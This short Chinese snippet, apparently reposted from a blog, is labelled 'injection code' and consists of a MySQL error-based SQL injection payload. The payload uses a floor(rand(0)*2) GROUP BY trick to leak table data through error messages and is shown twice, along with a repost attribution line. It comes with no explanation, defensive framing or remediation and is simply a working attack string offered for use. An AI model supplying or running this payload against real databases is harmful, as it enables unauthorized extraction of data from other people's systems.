注入代码：
and exists(SELECT 1 FROM (select count(*),count(*),concat(floor(rand(0)*2),(select xxx from xxxx limit 2100,1))a from xxxx group by a)b)/*
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转载于:https://www.cnblogs.com/mujj/articles/1996700.html
注入代码：
and exists(SELECT 1 FROM (select count(*),count(*),concat(floor(rand(0)*2),(select xxx from xxxx limit 2100,1))a from xxxx group by a)b)/*
转载于:https://www.cnblogs.com/mujj/articles/1996700.html